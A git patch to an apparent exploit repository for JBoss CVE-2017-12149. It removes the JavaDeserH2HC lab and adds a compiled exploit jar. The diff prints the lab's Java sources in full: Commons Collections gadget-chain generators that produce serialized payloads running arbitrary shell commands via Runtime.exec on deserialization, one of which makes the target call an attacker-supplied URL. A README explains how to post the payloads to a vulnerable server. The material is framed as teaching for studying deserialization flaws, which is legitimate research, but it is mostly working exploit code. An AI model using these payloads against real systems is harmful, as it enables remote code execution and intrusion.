From 691d4479fc592a6e99a361e991097277f148dc7f Mon Sep 17 00:00:00 2001 From: helloexp <21156949+helloexp@users.noreply.github.com> Date: Tue, 1 Mar 2022 13:45:56 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BC=98=E5=8C=96=20CVE-2017-12149=20=E5=88=A9?= =?UTF-8?q?=E7=94=A8=E5=B7=A5=E5=85=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../JavaDeserH2HC/Alien.java | 36 -- .../DnsWithCommonsCollections.java | 103 ----- .../ExampleCommonsCollections1.java | 129 ------ .../ExampleTransformersWithLazyMap.java | 79 ---- .../JavaDeserH2HC/ExploitGadgetExample1.java | 72 ---- .../JavaDeserH2HC/ForgottenClass.java | 46 -- .../JavaDeserH2HC/LICENSE | 21 - .../JavaDeserH2HC/README.md | 143 ------- ...ReverseShellCommonsCollectionsHashMap.java | 143 ------- .../JavaDeserH2HC/SleepExample.java | 105 ----- .../JavaDeserH2HC/SomeInvocationHandler.java | 42 -- .../JavaDeserH2HC/TestDeserialize.java | 42 -- .../JavaDeserH2HC/TestSerialize.java | 44 -- .../JavaDeserH2HC/VulnerableHTTPServer.java | 402 ------------------ .../commons-collections-3.2.1.jar | Bin 575389 -> 0 bytes ...seShellMultiplatformCommonsCollections.xml | 67 --- .../JavaDeserH2HC/xstream-1.4.6.jar | Bin 513765 -> 0 bytes .../README.md | 13 +- .../README2.md | 16 + .../images/1.jpg | Bin 0 -> 30198 bytes .../images/2.png | Bin 0 -> 24277 bytes .../jboss_CVE-2017-12149_exp.jar | Bin 0 -> 602092 bytes 22 files changed, 20 insertions(+), 1483 deletions(-) delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/Alien.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/DnsWithCommonsCollections.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleCommonsCollections1.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleTransformersWithLazyMap.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExploitGadgetExample1.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ForgottenClass.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/LICENSE delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/README.md delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ReverseShellCommonsCollectionsHashMap.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SleepExample.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SomeInvocationHandler.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestDeserialize.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestSerialize.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/VulnerableHTTPServer.java delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/commons-collections-3.2.1.jar delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/reverseShellMultiplatformCommonsCollections.xml delete mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/xstream-1.4.6.jar create mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README2.md create mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/1.jpg create mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/2.png create mode 100644 JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/jboss_CVE-2017-12149_exp.jar diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/Alien.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/Alien.java deleted file mode 100644 index 852544b..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/Alien.java +++ /dev/null @@ -1,36 +0,0 @@ -import java.io.IOException; - -/** - * Classe serializável (implementa serializable) usada no primeiro exemplo - * para destacar os magic methods readObject (invocado automaticamente durante - * a desserializacao de objetos deste tipo) e writeObject (invocado durante a - * serializacao) - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * @author @joaomatosf - */ -class Alien implements java.io.Serializable { - - String name; - String source; - - // magic method invocado automaticamente durante a desserializacao - // de objetos deste tipo - private void readObject(java.io.ObjectInputStream in) - throws IOException, ClassNotFoundException { - in.defaultReadObject(); - System.out.println("Deserializing an object of class: "+ getClass().getName()); - } - - // magic method invocado automaticamente durante a serializacao - // de objetos deste tipo - private void writeObject(java.io.ObjectOutputStream out) - throws IOException { - out.defaultWriteObject(); - System.out.println("Serializing an object of class: "+ getClass().getName()); - } -} diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/DnsWithCommonsCollections.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/DnsWithCommonsCollections.java deleted file mode 100644 index 7f540b9..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/DnsWithCommonsCollections.java +++ /dev/null @@ -1,103 +0,0 @@ -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.map.LazyMap; - -import java.io.FileNotFoundException; -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; -import java.lang.annotation.Retention; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Proxy; -import java.net.URL; -import java.util.HashMap; -import java.util.Map; - -/** - * Gera payload com gadget chain para realizar um HTTP GET em um endereço - * controlado pelo testador. Se for usado um domínio "hospedado" pelo testador, - * pode-se validar se o payload foi executado ao verificar os logs do servico DNS. - * Note que esse payload requer que a commons-collections vulnerável esteja - * disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72 - * Há outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma - * consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves). - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de - * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser - * - **** USAGE **** - * - * Compilando: - * $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java - * - * Executando - * $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com - * - * @author @joaomatosf - */ -public class DnsWithCommonsCollections { - @SuppressWarnings ( {"unchecked"} ) - public static void main(String[] args) - throws ClassNotFoundException, NoSuchMethodException, InstantiationException, - IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException { - - String url = args[0]; - // Cria array de transformers que resulta na seguinte construção: - // new URL(url).openConnection().getInputStream().read(); - Transformer[] transformers = new Transformer[] { - new ConstantTransformer(new URL(url)), - new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}), - new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}), - new InvokerTransformer("read", new Class[] {}, new Object[] {}) - }; - - // Cria o objeto ChainedTransformer com o array de Transformers: - Transformer transformerChain = new ChainedTransformer(transformers); - // Cria o map - Map map = new HashMap(); - // Decora o map com o LazyMap e a cadeia de transformações como factory - Map lazyMap = LazyMap.decorate(map,transformerChain); - - // Usa reflexão para obter referencia da classe AnnotationInvocationHandler - Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); - // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map - Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); - // Torna o construtor acessível - ctor.setAccessible(true); - // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um - // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo - // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"! - InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap); - - //criado a interface map - Class[] interfaces = new Class[] {java.util.Map.class}; - // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers) - Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap); - - // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues - // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o - // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers) - InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap); - - // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado, - // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke(). - // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap - // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)! - System.out.println("Saving serialized object in SleepExample.ser"); - FileOutputStream fos = new FileOutputStream("SleepExample.ser"); - ObjectOutputStream oos = new ObjectOutputStream(fos); - oos.writeObject(handlerProxy); - oos.flush(); - - } - -} \ No newline at end of file diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleCommonsCollections1.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleCommonsCollections1.java deleted file mode 100644 index 6ab3069..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleCommonsCollections1.java +++ /dev/null @@ -1,129 +0,0 @@ -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.map.LazyMap; - -import java.io.*; -import java.lang.*; -import java.lang.annotation.Retention; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Proxy; -import java.util.*; - -/** - * Gera payload que leva a execução de código durante a desserialização. - * São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e - * ChainedTransformer, da commons-collections e a AnnotationInvocationHandler, - * do JRE, como trigger gadget. - * Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger) - * deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores, - * deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException - * ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser. - * - * ----------------------------------------------------------------------- - * * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de - * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser - * - **** USAGE **** - * - * Compilando: - * $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java - * - * Executando - * $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017' - * - * @author @joaomatosf - */ -public class ExampleCommonsCollections1 { - @SuppressWarnings ( {"unchecked"} ) - public static void main(String[] args) - throws ClassNotFoundException, NoSuchMethodException, InstantiationException, - IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException { - - // Verifica se o usuário forneceu o comando a ser executado - if (args.length != 1) { - System.out.println("Invalid params! \n" + - "Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\""); - System.exit(1); - } - - // Seleciona o interpretador correto de acordo com o comando a ser executado - //boolean isUnix = System.getProperty("file.separator").equals("/"); - boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe"); - String cmd[]; - if (isUnix) - cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado - else - cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado - - // Cria array de transformers que resulta na seguinte construção: - //((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]); - Transformer[] transformers = new Transformer[] { - // retorna Class Runtime.class - new ConstantTransformer(Runtime.class), - // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0]) - new InvokerTransformer( - "getMethod", // invoca método getMethod - ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[]) - ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0]) - ), - // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0]) - new InvokerTransformer( - "invoke", // invoca método: invoke - (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[]) - (new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0]) - ), - // 3o. Objeto InvokerTransformer: .exec(cmd[]) - new InvokerTransformer( - "exec", // invoca método: exec - new Class[] { String[].class }, // tipos dos parâmetros: (String[]) - new Object[]{ cmd } ) // parâmetros: (cmd[]) - }; - - // Cria o objeto ChainedTransformer com o array de Transformers: - Transformer transformerChain = new ChainedTransformer(transformers); - // Cria o map - Map map = new HashMap(); - // Decora o map com o LazyMap e a cadeia de transformações como factory - Map lazyMap = LazyMap.decorate(map,transformerChain); - - // Usa reflexão para obter referencia da classe AnnotationInvocationHandler - Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); - // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map - Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); - // Torna o construtor acessível - ctor.setAccessible(true); - // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um - // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo - // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"! - InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap); - - //cria a interface map - Class[] interfaces = new Class[] {java.util.Map.class}; - // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers) - Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap); - - // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues - // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o - // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers) - InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap); - - // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado, - // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke(). - // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap - // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)! - System.out.println("Saving serialized object in ExampleCommonsCollections1.ser"); - FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser"); - ObjectOutputStream oos = new ObjectOutputStream(fos); - oos.writeObject(handlerProxy); - oos.flush(); - - } -} \ No newline at end of file diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleTransformersWithLazyMap.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleTransformersWithLazyMap.java deleted file mode 100644 index d3dda62..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleTransformersWithLazyMap.java +++ /dev/null @@ -1,79 +0,0 @@ -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.map.LazyMap; - -import java.io.*; -import java.lang.*; -import java.lang.reflect.InvocationTargetException; -import java.util.*; - -/** - * Exemplo que demonstra que um Map decorado com um LazyMap e uma ChainedTransformer - * como factory pode levar a execução de comando (através da invocação a métodos arbitrários - * via Reflexão) caso seja acessada uma chave inexistente no map. - * Esse é um dos princípios usados para executar comandos usufruíndo de gadgets que tentam - * acessar chaves inexistentes em campos (controlados pelos usuários) em seus magic methods. - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de - * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser - * - **** USAGE **** - * - * Compilando: - * $ javac -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap.java - * - * Executando - * $ rm /tmp/h2hc_lazymap - * $ java -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap - * $ ls -all /tmp/h2hc_lazymap - * - * @author @joaomatosf - */ -public class ExampleTransformersWithLazyMap { - @SuppressWarnings ( {"unchecked"} ) - public static void main(String[] args) - throws ClassNotFoundException, NoSuchMethodException, InstantiationException, - IllegalAccessException, IllegalArgumentException, InvocationTargetException { - - String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado - - Transformer[] transformers = new Transformer[] { - // retorna Class Runtime.class - new ConstantTransformer(Runtime.class), - // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0]) - new InvokerTransformer( - "getMethod", // invoca método getMethod - ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[]) - ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0]) - ), - // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0]) - new InvokerTransformer( - "invoke", // invoca método: invoke - (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[]) - (new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0]) - ), - // 3o. Objeto InvokerTransformer: .exec(cmd[]) - new InvokerTransformer( - "exec", // invoca método: exec - new Class[] { String[].class }, // tipos dos parâmetros: (String[]) - new Object[]{ cmd } ) // parâmetros: (cmd[]) - }; - - // Cria o objeto ChainedTransformer com o array de Transformers: - Transformer transformerChain = new ChainedTransformer(transformers); - // Cria o map - Map map = new HashMap(); - // Decora o map com o LazyMap e a cadeia de transformações como factory - Map lazyMap = LazyMap.decorate(map,transformerChain); - - lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM) - - } -} \ No newline at end of file diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExploitGadgetExample1.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExploitGadgetExample1.java deleted file mode 100644 index 4c89419..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExploitGadgetExample1.java +++ /dev/null @@ -1,72 +0,0 @@ -import java.io.FileInputStream; -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; -import java.util.Map; - -/** - * Exemplo didático de como usar Reflection e Dynamic Proxy para desviar - * o fluxo de execução durante a desserialização. - * Esse código gera um payload para explorar um sistema hipotético que contenha - * as classes ForgottenClass e SomeInvocationHandler no classpatch. - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - **** USAGE **** - * - * Compilando: - * $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java - * - * Executando - * $ rm /tmp/h2hc_2017 - * $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1 - * $ ls -all /tmp/h2hc_2017 - * - * - * @author @joaomatosf - */ -public class ExploitGadgetExample1{ - @SuppressWarnings ( {"unchecked"} ) - public static void main(String[] args) - throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException, - IOException, ClassNotFoundException { - - // Instancia um SomeInvocationHandler - InvocationHandler handler = new SomeInvocationHandler(); - Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler - fieldHandler.setAccessible(true); // torna o campo "cmd" acessível - fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd" - - // criar interface Map - Class[] interfaceMap = new Class[] {java.util.Map.class}; - // Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler - Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler); - - // Intancia ForgottenClass (que sera' serializado) - ForgottenClass gadget = new ForgottenClass(); - Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass - field.setAccessible(true); // torna o campo "map" acessível - field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map" - - // Serializa objeto do ForgottenClass e salva no disco - System.out.println("Serializing ForgottenClass"); - FileOutputStream fos = new FileOutputStream("/tmp/object.ser"); - ObjectOutputStream oos = new ObjectOutputStream(fos); - oos.writeObject(gadget); - oos.flush(); - - // Desserializa objeto a partir do arquivo, para simular o que devera - // ocorrer quando o objeto for desserializado por uma aplicacao - System.out.println("Deserializing ForgottenClass"); - FileInputStream fis = new FileInputStream("/tmp/object.ser"); - ObjectInputStream ois = new ObjectInputStream(fis); - ois.readObject(); // <-- Inicia a desserializacao! - } //end main -} \ No newline at end of file diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ForgottenClass.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ForgottenClass.java deleted file mode 100644 index 61e0d1f..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ForgottenClass.java +++ /dev/null @@ -1,46 +0,0 @@ -import java.io.IOException; -import java.io.Serializable; -import java.util.Map; - -/** - * Um dos gadgets usados no exemplo didático que demonstra como desviar o - * fluxo de execucão durante a desserialização (utilizando Dynamic Proxy). - * Esse gatget invoca um método de um campo (map.entrySet()) e, por isso, - * pode ser usado como trampolim para o método invoke() de classes que implementem - * InvocationHandler. No exemplo da revista, o fluxo será desviado para a classe - * SomeInvocationHandler, que contém um código que se deseja alcançar. - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * @author @joaomatosf - */ -public class ForgottenClass implements Serializable { - - private Map map; - - // magic method executado automaticamente durante a desserializacao - // de objetos deste tipo. Repare que é acessado um método de um camop - // controlado pelos usuários (map.entrySet()) - private void readObject(java.io.ObjectInputStream in) - throws IOException, ClassNotFoundException{ - in.defaultReadObject(); - System.out.println("-------------------------------------------"); - System.out.println("The flow is in ForgottenClass.readObject()"); - map.entrySet(); - } - - // outro magic method invocado automaticamente durante a desserialização - private Object readResolve(){ - System.out.println("-------------------------------------------"); - System.out.println("The flow is in the ForgottenClass.readResolve()"); - return null; - } - - // método qualquer, que não é invocado durante a desserialização. - private void anotherMethod(){ - System.out.println("The flow is in ForgottenClass.anotherMethod()"); - } -} \ No newline at end of file diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/LICENSE b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/LICENSE deleted file mode 100644 index 0037033..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2017 João F M Figueiredo - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/README.md b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/README.md deleted file mode 100644 index 2236fa6..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/README.md +++ /dev/null @@ -1,143 +0,0 @@ -# Lab for Java Deserialization Vulnerabilities - -This content is related to the paper written for the 12th edition of H2HC magazine. -See full paper in: https://www.h2hc.com.br/revista/ - -Slides and video of the talk will be available soon. - ->Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM) - ->An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM) - -Content --- -The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them. -The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments. - -There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads. - -Slides --- - -[](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017) - - -Examples (PoC's) ------- - -* PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504) - -[](https://www.youtube.com/watch?v=jVMr4eeJ2Po) - -* PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149) - -[](https://www.youtube.com/watch?v=JIWMItSA8l0) - -* PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell - -[](https://www.youtube.com/watch?v=IrZOlqio0nw) - - -Lab Usage Examples --- -First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work. - -***Getting JDK*** - -If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/ - -As **root**, run: -``` -# cd /opt -# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz -# tar zxvf jdk-8u20-linux-x64.tar.gz -# rm -rf /usr/bin/java* -# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin -# java -version - java version "1.8.0_20" -``` - - -***Getting codes:*** - -``` -$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git -$ cd JavaDeserH2HC -``` - -***Compiling and executing Vulnerable Web Application:*** - -``` -$ javac VulnerableHTTPServer.java -XDignore.symbol.file -$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer -``` - - -``` -* =============================================================== * -* Simple Java HTTP Server for Deserialization Lab v0.01 * -* https://github.com/joaomatosf/JavaDeserH2HC * -* =============================================================== * -You can inject java serialized objects in the following formats: - - 1) Binary in HTTP POST (ie \xAC\xED). Ex: - $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser - - 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex: - $ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..." - $ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..." - - 3) Base64 or Gzip+Base64 in cookies. Ex: - $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..." - $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..." - - 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex: - $ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg... - - 5) XML for XStream RCE vulnerability/serialization. Ex: - $ curl 127.0.0.1:8000 -d @file.xml - -OBS: To test gadgets in specific libraries, run with -cp param. Ex: -$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer -================================================================== - -JRE Version: 1.8.0_77 -[INFO]: Listening on port 8000 -``` - -***Testing payloads*** - -Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72: - -``` -$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java -``` - -Generating payload: - -``` -$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017' -Saving serialized object in ExampleCommonsCollections1.ser -``` - -Exploiting vulnerable server: - -Sending the payload in binary format via HTTP POST: -``` 